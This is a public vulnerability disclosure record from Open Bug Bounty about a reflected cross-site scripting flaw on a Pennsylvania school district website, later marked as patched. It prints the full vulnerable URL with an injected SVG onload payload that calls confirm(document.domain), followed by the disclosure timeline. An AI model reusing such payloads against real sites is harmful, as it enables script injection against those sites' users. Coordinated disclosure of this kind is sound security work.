macs.k12.pa.us XSS vulnerability

2017-12-1002:06:00

egyptghost

www.openbugbounty.org

JSON

Vulnerable URL:

https://www.macs.k12.pa.us/apps/pages/index.jsp?uREC_ID=387593&type;=d&pREC;_ID=video&showMore;=1&titleREC;_ID=132579%22--!%3E%3CSvg/OnLoad=confirm(document.domain)%3E%22#

Details:

Description	Value
Patched:	Yes, at
Vulnerability type:	XSS
Vulnerability status:	Publicly disclosed
Alexa Rank	10467065
VIP website status:	No

Coordinated Disclosure Timeline:

Description	Value
Vulnerability submitted via Open Bug Bounty	10 December, 2017 02:06 GMT
Generic security notifications sent to website owner	10 December, 2017 02:09 GMT
Customized security notification sent to website owner	10 December, 2017 02:09 GMT
Vulnerability details disclosed by researcher	11 January, 2018 18:28 GMT
Vulnerability patched by the website owner	12 January, 2018 08:47 GMT

JSON